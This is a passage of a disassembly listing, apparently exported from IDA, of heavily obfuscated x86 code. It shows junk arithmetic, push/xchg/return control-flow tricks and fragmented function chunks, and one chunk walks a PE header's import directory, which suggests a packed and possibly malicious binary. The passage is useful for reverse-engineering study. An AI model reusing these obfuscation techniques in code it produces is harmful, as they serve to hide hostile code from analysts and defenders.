		add	edx, 9FEC06FAh
		xchg	edx, [esp+0]
		jmp	sub_42AA07
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
		adc	ebx, edx
		jmp	loc_424741
; ---------------------------------------------------------------------------


loc_42B8D3:				; CODE XREF: _7hdaygc1:loc_42D8A8j
					; _7hdaygc1:loc_42E733j
		ja	loc_42AC12
		jmp	loc_429164
; ---------------------------------------------------------------------------


loc_42B8DE:				; CODE XREF: _7hdaygc1:loc_42BC78j
		rol	eax, 8
		mov	[ebp-14h], eax
		rol	eax, 8
		push	ecx
		push	offset sub_42B034
		jmp	locret_42E75A
; ---------------------------------------------------------------------------


loc_42B8F2:				; CODE XREF: _7hdaygc1:0042BBD4j
		jb	loc_42B4B4

; =============== S U B	R O U T	I N E =======================================



sub_42B8F8	proc near		; CODE XREF: sub_42DDF5-1323p
		xchg	ebx, [esp+0]
		pop	ebx
		pop	edi
		retn
sub_42B8F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42B8FE:				; CODE XREF: _7hdaygc1:00427E97j
					; _7hdaygc1:loc_42C9B6j
		rol	eax, 3
		jmp	loc_42A630
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42B907	proc near		; DATA XREF: _7hdaygc1:0042D0F1o

; FUNCTION CHUNK AT 0042395F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00426489 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428230 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042880D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004293A7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042A665 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042B695 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DBDB SIZE 0000000D BYTES

		test	eax, eax
		jz	loc_423C59


loc_42B90F:				; CODE XREF: _7hdaygc1:loc_428A63j
		jmp	loc_426489
sub_42B907	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42B914:				; CODE XREF: _7hdaygc1:0042F85Aj
		jnp	loc_428BC6
		push	eax
		jmp	sub_42F436
; ---------------------------------------------------------------------------
		sub	edx, 7212DB38h
		js	loc_42F214
		jmp	sub_428556
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42B931:				; CODE XREF: sub_4291EA-BABj
		push	eax
		call	sub_42B650
		retn
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------


loc_42B938:				; CODE XREF: _7hdaygc1:00429334j
		jmp	loc_42E031
; ---------------------------------------------------------------------------
		jmp	nullsub_121

; =============== S U B	R O U T	I N E =======================================



sub_42B942	proc near		; CODE XREF: sub_4296EF+1CAAp
					; sub_42C763:loc_42C69Bj ...

; FUNCTION CHUNK AT 00424716 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BA9A SIZE 00000005 BYTES

		jo	sub_42FB6E
		jmp	loc_42BA9A
sub_42B942	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4289CE


loc_42B94D:				; CODE XREF: sub_4289CE-2B3Aj
		xchg	ebp, [esp+0Ch+var_C]


loc_42B950:				; CODE XREF: _7hdaygc1:loc_42FCCDj
		mov	eax, ebp
		pop	ebp
		and	eax, 99DE5E7Ch
		add	eax, 8F47B0ADh
		jmp	loc_424A5E
; END OF FUNCTION CHUNK	FOR sub_4289CE
; ---------------------------------------------------------------------------
		xor	edx, 0E3505D68h
		jmp	sub_4269BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A052


loc_42B96F:				; CODE XREF: sub_42A052:loc_42F503j
		jnz	loc_42A47E
		jmp	loc_427F96
; END OF FUNCTION CHUNK	FOR sub_42A052
; ---------------------------------------------------------------------------
		dw 7220h
dword_42B97C	dd 97C80FF1h						; sub_428BDA+4w
; ---------------------------------------------------------------------------


loc_42B980:				; CODE XREF: _7hdaygc1:0042DDD1j
		jmp	nullsub_195
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241F3


loc_42B985:				; CODE XREF: sub_4241F3:loc_4241FDj
		jmp	loc_42427E
; END OF FUNCTION CHUNK	FOR sub_4241F3
; ---------------------------------------------------------------------------
		dw 94E8h
dword_42B98C	dd 7E96BE40h	; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E481


loc_42B990:				; CODE XREF: sub_42E481+10j
		jmp	nullsub_89
; END OF FUNCTION CHUNK	FOR sub_42E481
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA11


loc_42B995:				; CODE XREF: sub_42AA11+9j
		jmp	loc_424454
; END OF FUNCTION CHUNK	FOR sub_42AA11
; ---------------------------------------------------------------------------
		dw 8B8Ch
dword_42B99C	dd 2F90173Ah	dword_42B9A0	dd 0							; sub_423F02+6r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F436


loc_42B9A4:				; CODE XREF: sub_42F436+7j
		jmp	loc_425EFB
; END OF FUNCTION CHUNK	FOR sub_42F436
; ---------------------------------------------------------------------------
		db 41h,	20h, 0DEh
dword_42B9AC	dd 0							; _7hdaygc1:loc_428337w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E205


loc_42B9B0:				; CODE XREF: sub_42E205+Cj
		jmp	loc_42981A
; END OF FUNCTION CHUNK	FOR sub_42E205
; ---------------------------------------------------------------------------
		db 71h,	9Bh, 0ADh
dword_42B9B8	dd 7E410000h						; sub_425F27-2EF8r ...
dword_42B9BC	dd 0C965DCD5h, 32B823CCh					; sub_42F621+Co
		db 8Dh,	0C6h, 0
; ---------------------------------------------------------------------------


loc_42B9C7:				; CODE XREF: _7hdaygc1:0042394Bj
		jmp	loc_427FB0
; ---------------------------------------------------------------------------


loc_42B9CC:				; CODE XREF: _7hdaygc1:00428043j
		sbb	esi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_42B9CE	proc near		; CODE XREF: sub_42AA07-CF6p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423CDF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00429743 SIZE 00000017 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edi
		push	41CA8273h
		xchg	ebp, [esp+4+var_4]
		jmp	loc_429743
sub_42B9CE	endp

; ---------------------------------------------------------------------------

locret_42B9E0:				; CODE XREF: _7hdaygc1:004257C0j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42B9E1	proc near		; CODE XREF: sub_425735+13p
					; sub_42D073+13p

; FUNCTION CHUNK AT 00427393 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042853B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042F5A7 SIZE 00000005 BYTES

		xor	bx, bx
		add	ebx, 10000h


loc_42B9EA:				; CODE XREF: sub_42B9E1-4640j
					; sub_42B9E1-349Ej
		jb	loc_427393
		sub	ebx, 10000h
		jmp	loc_42F5A7
sub_42B9E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232C2


loc_42B9FB:				; CODE XREF: sub_4232C2+A185j
		push	offset loc_425EEA
		jmp	nullsub_170
; END OF FUNCTION CHUNK	FOR sub_4232C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_42BA05:				; CODE XREF: sub_425A37+7179j
		jge	loc_42F4F0


loc_42BA0B:				; CODE XREF: sub_426CBB+8F84j
		jmp	loc_42CCEC
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
		cmp	ebp, 0C74F2081h
		jmp	loc_428C54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42BA1B:				; CODE XREF: sub_423648:loc_42F373j
		mov	eax, [ebp-20h]
		call	sub_42BA2C
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_42FA7C
; END OF FUNCTION CHUNK	FOR sub_423648

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BA2C	proc near		; CODE XREF: sub_423648+83D6p

; FUNCTION CHUNK AT 0042578C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428FDD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429BE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A18D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042FB07 SIZE 00000015 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_429BE8
sub_42BA2C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		adc	edx, esi
		jmp	loc_42AEE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428498


loc_42BA3B:				; CODE XREF: sub_428498+38D0j
		shr	eax, 6
		jbe	loc_42A28D


loc_42BA44:				; CODE XREF: sub_428498:loc_426C40j
		mov	eax, [ebp-28h]
		cmp	eax, [ebp-14h]
		jmp	loc_42579E
; END OF FUNCTION CHUNK	FOR sub_428498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DAD9


loc_42BA4F:				; CODE XREF: sub_42DAD9-58F2j
		jl	loc_42971A


loc_42BA55:				; CODE XREF: _7hdaygc1:00428061j
		jmp	loc_4295DF
; END OF FUNCTION CHUNK	FOR sub_42DAD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E9C


loc_42BA5A:				; CODE XREF: sub_424E9C+Bj
		jmp	loc_42A745
; END OF FUNCTION CHUNK	FOR sub_424E9C
; ---------------------------------------------------------------------------
		push	8ED2CDBAh
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_42BA64:				; CODE XREF: sub_4232DA:loc_42FC73j
		ror	ebx, 18h
		jmp	loc_42970D
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------
		jnz	loc_428BCF
		jmp	loc_42EFCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423752


loc_42BA77:				; CODE XREF: sub_423752:loc_424B4Dj
		jl	loc_429440


loc_42BA7D:				; CODE XREF: _7hdaygc1:00427144j
		jmp	loc_42812C
; END OF FUNCTION CHUNK	FOR sub_423752
; ---------------------------------------------------------------------------
		popf
		cdq
		jmp	loc_429434
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C1AF


loc_42BA89:				; CODE XREF: sub_42C1AF+3j
		jz	sub_42F68E
		add	esp, 0FFFFFED8h
		call	sub_42C3E4
; END OF FUNCTION CHUNK	FOR sub_42C1AF
; START	OF FUNCTION CHUNK FOR sub_42B942


loc_42BA9A:				; CODE XREF: sub_42B942+6j
		jmp	loc_424716
; END OF FUNCTION CHUNK	FOR sub_42B942
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427F72


loc_42BA9F:				; CODE XREF: sub_427F72+1Ej
		jmp	loc_424ACA
; END OF FUNCTION CHUNK	FOR sub_427F72
; ---------------------------------------------------------------------------


loc_42BAA4:				; CODE XREF: _7hdaygc1:loc_423C33j
		mov	[ebp-0Bh], al
		xor	eax, eax
		mov	al, [ebp-0Bh]
		mov	ecx, 8
		push	offset loc_42A1D4
		jmp	loc_424DEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42BABB:				; CODE XREF: sub_425E64:loc_42A7DAj
		mov	ecx, ebp
		xchg	ecx, [esp+0]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		push	offset sub_42A833
		jmp	nullsub_116
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42BACF:				; CODE XREF: sub_42EBD6:loc_42A4BBj
		sbb	eax, 55736BD0h
; END OF FUNCTION CHUNK	FOR sub_42EBD6

; =============== S U B	R O U T	I N E =======================================



sub_42BAD5	proc near		; CODE XREF: sub_426BF7+5B8Bp

; FUNCTION CHUNK AT 00425289 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004258BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425FDC SIZE 00000010 BYTES

		xchg	edi, [esp+0]
		pop	edi
		shl	eax, 3


loc_42BADC:				; CODE XREF: _7hdaygc1:0042C8F5j
		lea	eax, [eax+eax*4]
		mov	edx, [ebp-4]
		jmp	loc_425289
sub_42BAD5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42BAE7	proc near		; DATA XREF: sub_42A052:loc_42A898o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423123 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423A97 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423BC9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042441B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042476C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426A58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429385 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00429D36 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00429E69 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042D183 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DC03 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EA82 SIZE 00000019 BYTES

		cmp	dword ptr [ebp-10h], 0
		jnz	loc_42EA8D
		mov	eax, [ebp+8]
		push	eax
		cmp	dword ptr [ebp-14h], 6
		jmp	loc_42441B
sub_42BAE7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42BAFE:				; CODE XREF: _7hdaygc1:loc_424659j
		mov	ds:dword_42B98C, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428079


loc_42BB05:				; CODE XREF: sub_428079+9j
		jmp	loc_424C27
; END OF FUNCTION CHUNK	FOR sub_428079
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FA3D


loc_42BB0A:				; CODE XREF: sub_42FA3D-9279j
		jmp	loc_42CE7D
; END OF FUNCTION CHUNK	FOR sub_42FA3D
; ---------------------------------------------------------------------------


loc_42BB0F:				; CODE XREF: _7hdaygc1:00426842j
		call	sub_42B462
; START	OF FUNCTION CHUNK FOR sub_425735


loc_42BB14:				; CODE XREF: sub_425735:loc_4280EDj
		mov	edx, [ebx+3Ch]
		mov	edx, [ebx+edx+80h]
		or	edx, edx
		jz	loc_427E44


loc_42BB26:				; CODE XREF: sub_42F9D2-C127j
					; sub_425735:loc_42C746j
		jo	loc_42C757
		add	edx, 14h
		jmp	loc_42E6A1
; END OF FUNCTION CHUNK	FOR sub_425735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A2EF


loc_42BB34:				; CODE XREF: sub_42A2EF:loc_423EA8j
					; _7hdaygc1:00423EC3j
		sub	ebx, 705C9AAh
		add	ebx, 0F07762DCh
		xchg	ebx, [esp+0]
		jmp	loc_423129
; END OF FUNCTION CHUNK	FOR sub_42A2EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A2B


loc_42BB48:				; CODE XREF: sub_424A2B:loc_4250CBj
		shl	eax, 0Ah
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 6
		xor	[ebp-8], eax
		push	offset sub_42D744
		jmp	loc_425D4B
; END OF FUNCTION CHUNK	FOR sub_424A2B

; =============== S U B	R O U T	I N E =======================================



sub_42BB61	proc near		; DATA XREF: _7hdaygc1:0042DA2Do

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00426FAA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004285B3 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042D394 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042F996 SIZE 00000005 BYTES

		push	edx
		pushf
		push	9021DAFEh
		pop	edx
		jmp	loc_4285B3
sub_42BB61	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42BB6F:				; CODE XREF: _7hdaygc1:00426081j
		cmp	edx, ecx
		jmp	loc_4246D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB0D


loc_42BB76:				; CODE XREF: sub_42EB0D-A6BEj
		dec	eax
		test	eax, eax
		call	sub_42FCD3


loc_42BB7E:				; CODE XREF: _7hdaygc1:0042DEDFj
		jmp	loc_423D52
; END OF FUNCTION CHUNK	FOR sub_42EB0D

; =============== S U B	R O U T	I N E =======================================



sub_42BB83	proc near		; DATA XREF: sub_42A462+4329o

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423FB3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042431E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042465E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00424EAC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00424FAF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042597B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00426E5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ACCD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042BE07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CE95 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042E051 SIZE 00000005 BYTES

		xor	edx, esi
		pop	esi
		mov	eax, offset dword_42E198
		call	sub_42AA07
		call	sub_423F02
		jmp	loc_42E051
sub_42BB83	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42BB9A:				; CODE XREF: sub_424AE1+3AC6j
		xor	eax, 0B34ED517h
		add	eax, 5BDAB775h
		and	eax, 6E8B70C6h
		xor	eax, 922A58EFh


loc_42BBB2:				; CODE XREF: _7hdaygc1:loc_42535Aj
		add	eax, ebp
		add	eax, 475EF7BBh
		mov	eax, [eax]
		jmp	loc_423A5C
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------


loc_42BBC1:				; CODE XREF: _7hdaygc1:0042C52Bj
		js	loc_42C22E
		add	ebp, esi
		jmp	sub_42EE8A
; ---------------------------------------------------------------------------
		test	edx, 917425C3h
		jmp	loc_42B8F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42828C


loc_42BBD9:				; CODE XREF: sub_42828C:loc_429C0Ej
		push	0
		push	ebx
		push	offset loc_427FF2
		jmp	loc_42E98D
; END OF FUNCTION CHUNK	FOR sub_42828C
; ---------------------------------------------------------------------------


loc_42BBE6:				; CODE XREF: _7hdaygc1:0042A71Cj
		xor	eax, esi


loc_42BBE8:				; CODE XREF: _7hdaygc1:loc_42A6FFj
		or	ebx, 0D00B48E9h
		add	ebx, 0F92D30Fh
		xchg	ebx, [esp]
		jmp	loc_42BE5D
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_42883A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BEDA


loc_42BC02:				; CODE XREF: sub_42BEDA:loc_42CA55j
		xchg	ecx, [esp+0]
		mov	edi, eax
		xchg	edi, [esp+0]
		mov	eax, [ebp-30h]
		jmp	loc_42D44C
; END OF FUNCTION CHUNK	FOR sub_42BEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42BC12:				; CODE XREF: sub_42AFFE:loc_4297ADj
		mov	edx, 0CF0182F6h
		call	sub_42C763
		call	sub_425670


loc_42BC21:				; CODE XREF: _7hdaygc1:loc_42F718j
		cmp	eax, edx
		jmp	loc_42D563
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_42BC28:				; CODE XREF: sub_42C50D-75B0j
		or	eax, eax
		jnz	loc_42A47E
		jmp	loc_42CDE7
; END OF FUNCTION CHUNK	FOR sub_42C50D
; ---------------------------------------------------------------------------
		db 0A3h, 27h, 0B4h
dword_42BC38	dd 67C8354h						; _7hdaygc1:0042F1AAw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4296EF


loc_42BC3C:				; CODE XREF: sub_4296EF+Ej
		jmp	loc_42B394
; END OF FUNCTION CHUNK	FOR sub_4296EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CCC


loc_42BC41:				; CODE XREF: sub_423CCC+Ej
		jmp	loc_42B0F0
; END OF FUNCTION CHUNK	FOR sub_423CCC
; ---------------------------------------------------------------------------
		dw 9538h
dword_42BC48	dd 0F90BD06h						; sub_42A833+1r
dword_42BC4C	dd 0							; sub_425CA9+8o ...
; ---------------------------------------------------------------------------


loc_42BC50:				; CODE XREF: _7hdaygc1:00426FBDj
		jmp	loc_42675E
; ---------------------------------------------------------------------------
		db 2Ah,	7, 8
dword_42BC58	dd 1459C8h						; _7hdaygc1:004248EFr ...
dword_42BC5C	dd 418C2E7Eh	dword_42BC60	dd 145B78h						; _7hdaygc1:00426D54w ...
dword_42BC64	dd 0							; _7hdaygc1:0042D6E9w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_42BC68:				; CODE XREF: sub_4253A0+5210j
		jmp	nullsub_55
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424744


loc_42BC6D:				; CODE XREF: sub_424744-380j
		jmp	loc_429B5D
; END OF FUNCTION CHUNK	FOR sub_424744
; ---------------------------------------------------------------------------
		dw 0BB4Dh
dword_42BC74	dd 0							; sub_42616B+2C95r
; ---------------------------------------------------------------------------


loc_42BC78:				; CODE XREF: _7hdaygc1:0042C508j
		jmp	loc_42B8DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DDF5


loc_42BC7D:				; CODE XREF: sub_42DDF5-4A0Aj
		jmp	loc_42CAB4
; END OF FUNCTION CHUNK	FOR sub_42DDF5
; ---------------------------------------------------------------------------


loc_42BC82:				; CODE XREF: _7hdaygc1:00423A08j
		push	eax
		sbb	ebx, ebp
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42BC85:				; CODE XREF: sub_423172:loc_4239F7j
		add	ebx, 20846EBDh
		popf
		xchg	ebx, [esp+0]
		jmp	loc_4263D7
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C2C


loc_42BC94:				; CODE XREF: sub_425C2C+BFDj
		call	sub_42653E


loc_42BC99:				; CODE XREF: sub_42CA28+Ej
		jmp	loc_42BF18
; END OF FUNCTION CHUNK	FOR sub_425C2C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD	"+" TO EXPAND]
		db 81h
		dd 93381CDh, 32FF815Ch,	0E93FD0E8h, 0FFFFB619h,	0ECFE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CDF7


loc_42BCB6:				; CODE XREF: sub_42CDF7:loc_42EEB2j
		mov	eax, offset dword_42BC4C
		call	sub_42DBEA
		push	ebx
		push	6C8316CBh
		pop	ebx
		xor	ebx, 0E2E4C337h
		sub	ebx, ds:4000F5h
		test	ebx, 4000h
		jmp	loc_424410
; END OF FUNCTION CHUNK	FOR sub_42CDF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F0B4


loc_42BCDE:				; CODE XREF: sub_42F0B4+1j
		mov	ebp, esp
		push	offset loc_42CC0F
		jmp	nullsub_113
; END OF FUNCTION CHUNK	FOR sub_42F0B4
; ---------------------------------------------------------------------------
		xor	ecx, 8FDA9C3h
		popf
		jmp	sub_4253A0

; =============== S U B	R O U T	I N E =======================================



sub_42BCF6	proc near		; CODE XREF: _7hdaygc1:00426FFCj
					; sub_42FCD3+Ap
		xchg	edx, [esp+0]
		pop	edx
		inc	eax
		mov	[ebp-1Ch], eax
		call	sub_42E51C
sub_42BCF6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42BD03	proc near		; CODE XREF: sub_42D002+7p
					; _7hdaygc1:0042E905j
		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp-30h]
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+0]
		jmp	loc_427222
sub_42BD03	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A62


loc_42BD15:				; CODE XREF: sub_426A62+510j
		popf
		or	ebx, ecx
		mov	edx, 21F9B228h
		jmp	loc_428D63
; END OF FUNCTION CHUNK	FOR sub_426A62
; ---------------------------------------------------------------------------
		push	4C30CF69h
		pop	eax
		sub	eax, 6AD617F2h
		and	eax, 0EEFDDE9Eh
		add	eax, 0CE46E299h
		test	eax, 8
		jmp	loc_425279
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42BD45:				; CODE XREF: sub_429318-5C0Aj
		push	0F1C1D899h
		xor	edi, edx
		jmp	loc_42F9B7
; END OF FUNCTION CHUNK	FOR sub_429318

; =============== S U B	R O U T	I N E =======================================



sub_42BD51	proc near		; CODE XREF: _7hdaygc1:00423523p
					; _7hdaygc1:0042FBF9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0042615C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427CF4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042FBA3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042FD50 SIZE 00000005 BYTES

		xchg	esi, [esp-4+arg_0]
		pop	esi
		xor	eax, [ebp-8]
		xchg	esi, [esp-8+arg_4]
		push	esi
		pop	edx
		jmp	loc_42615C
sub_42BD51	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428498


loc_42BD62:				; CODE XREF: sub_428498-1852j
		jle	loc_42EE2C
		jmp	loc_42BA3B
; END OF FUNCTION CHUNK	FOR sub_428498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42BD6D:				; CODE XREF: sub_4291EA:loc_42C37Cj
		push	edx
		pushf
		push	0F6FBC5ACh
		pop	edx
		or	edx, 0BB2C31D8h
		add	edx, 0D6CB0000h
		xor	edx, 7AEDD513h
		add	edx, 53D8E311h
		jmp	loc_42E3B1
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424963


loc_42BD92:				; CODE XREF: sub_424963+338Cj
		cmp	eax, [ebp-8]
		jnz	loc_42D0B8
		mov	eax, [ebp-14h]
		push	offset sub_42CC76
		jmp	loc_42F92B
; END OF FUNCTION CHUNK	FOR sub_424963
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AD16


loc_42BDA8:				; CODE XREF: sub_42AD16+10j
		call	sub_4272CF


loc_42BDAD:				; CODE XREF: _7hdaygc1:00429C42j
		jb	nullsub_43
		mov	esi, eax
		add	ebx, 6BD2F486h


loc_42BDBB:				; CODE XREF: sub_425F27:loc_429C2Fj
		sub	eax, 0B56FC504h
		add	eax, 177DA5E7h
		add	eax, ebp
		jmp	loc_428298
; END OF FUNCTION CHUNK	FOR sub_42AD16
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42BDCF	proc near		; CODE XREF: _7hdaygc1:0042832Ej
					; sub_424963+8BDBp
		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		call	sub_424963


loc_42BDD9:				; CODE XREF: sub_429532-5E4Dj
		jmp	loc_429538
sub_42BDCF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426EBD


loc_42BDDE:				; CODE XREF: sub_426EBD+7j
		and	ebx, ds:4000F1h
		sub	ebx, 0C3499FC0h
		add	ebx, 68238FE3h
		and	ebx, 45F50CB0h
		jmp	loc_4235FE
; END OF FUNCTION CHUNK	FOR sub_426EBD
; ---------------------------------------------------------------------------


loc_42BDFB:				; CODE XREF: _7hdaygc1:0042C55Bj
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42BDFD:				; CODE XREF: _7hdaygc1:0042D0F6j
		jmp	loc_42907B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A17C


loc_42BE02:				; CODE XREF: sub_42A17C+2075j
		jmp	sub_42C1AF
; END OF FUNCTION CHUNK	FOR sub_42A17C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB83


loc_42BE07:				; CODE XREF: sub_42BB83-7523j
		jmp	loc_424FAF
; END OF FUNCTION CHUNK	FOR sub_42BB83
; ---------------------------------------------------------------------------


loc_42BE0C:				; CODE XREF: _7hdaygc1:0042D2FAj
		add	ebx, eax
		call	sub_425BCD
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42BE13:				; CODE XREF: sub_423172:loc_42DA57j
		mov	eax, [ebp-8]
		mov	ecx, 0Ah
		cdq
		jz	loc_425FB4
		idiv	ecx
		jmp	loc_42AF9A
; END OF FUNCTION CHUNK	FOR sub_423172

; =============== S U B	R O U T	I N E =======================================



sub_42BE29	proc near		; DATA XREF: sub_42FA3D-2BB2o

var_4		= dword	ptr -4

